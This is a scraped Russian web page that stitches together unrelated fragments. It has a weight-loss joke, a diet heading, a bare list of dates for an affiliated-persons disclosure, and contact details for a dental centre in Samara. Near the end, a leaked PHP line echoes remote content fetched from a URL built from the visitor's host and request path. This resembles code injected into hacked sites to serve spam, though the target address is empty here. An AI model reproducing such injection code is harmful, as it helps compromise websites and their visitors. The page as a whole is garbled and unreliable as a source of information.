Лучший способ сбросить вес — есть сколько хочется того, чего вы терпеть не можете.

Выход из экстремальной диеты
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта